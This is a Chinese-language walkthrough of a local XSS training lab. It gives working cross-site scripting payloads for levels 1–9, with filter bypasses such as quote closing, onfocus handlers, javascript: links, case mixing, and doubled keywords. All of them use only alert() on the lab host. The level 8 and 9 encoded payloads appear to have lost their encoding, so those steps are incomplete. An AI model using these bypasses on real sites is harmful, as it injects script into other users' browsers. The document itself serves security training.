XSS-Lab 题解
XSS攻击
XSS攻击的本质是恶意脚本在受害者的浏览器中被执行。攻击者通过在可信网站上注入恶意脚本,当其他用户访问该网站时,这些脚本会在用户的浏览器中执行。
1 | js代码能够执行的部分场景: |
Level 1
1 | http://xss.local/level1.php?name=<script>alert()</script> |
Level 2
按照第一关的方法,无法执行
html实体转义
HTML实体转义是一种将特殊字符转换为HTML实体编码的技术,主要用于防止XSS(跨站脚本)攻击和确保内容在网页中正确显示。
HTML实体转义是指将HTML中的特殊字符(如<、>、&等)替换为对应的实体编码。这些编码以”&”开头,以”;”结尾,浏览器会将其渲染为原始字符而非HTML标签。例如:
<
转义为<
>
转义为>
&
转义为&
"
转义为"
'
转义为'
通过闭合的方式进行绕过:
1 | "> <script>alert()</script> <" |
Level 3
onfocus事件绕过
onfocus
是 HTML 元素的一个事件属性,当元素获得焦点时触发。攻击者可以利用这个事件来执行XSS攻击。
1 | ' onfocus=javascript:alert() ' |
之后再次点击搜索框,触发onfocus事件
Level 4
只是闭合方式与3不同,改为双引号闭合
1 | " onfocus=javascript:alert() " |
Level 5
a href标签法
href属性的意思是 当标签被点击的时候,就会触发执行转跳到另一个网站,我们还可以触发执行一段js代码
1 | "> <a href=javascript:alert()>xxx</a> <" |
插入后的源代码如下:
1 | <input name=keyword value=""> <a href=javascript:alert()>xxx</a> <""> |
Level 6
尝试后发现都会被过滤:
尝试大小写绕过
1 | "> <sCript>alert()</sCript> <" |
Level 7
尝试绕过了哪些关键字
1 | " OnFocus <sCriPt> <a hReF=javascript:alert()> |
发现onfocus,javascript,href都被过滤,同时进行了小写转化。
由上述结果可知,服务器会将on,hfef,script删掉。可以利用双拼写绕过。
比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on
比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script
1 | "> <a hrhrefef=javascrscriptipt:alert()>xxx</a> " |
Level 8
测试过滤哪些关键字:
1 | " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> |
把双引号也给实体化了, 添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、”
解法:利用href的隐藏属性自动Unicode解码,插入一段js伪协议。针对javascript:alert()
进行Unicode编码
1 | javascript:alert() |
插入到链接中:
Level 9
1 | javascript:alert()/* http:// */ |
编码后:
1 | javascript:alert()/* http:// */ |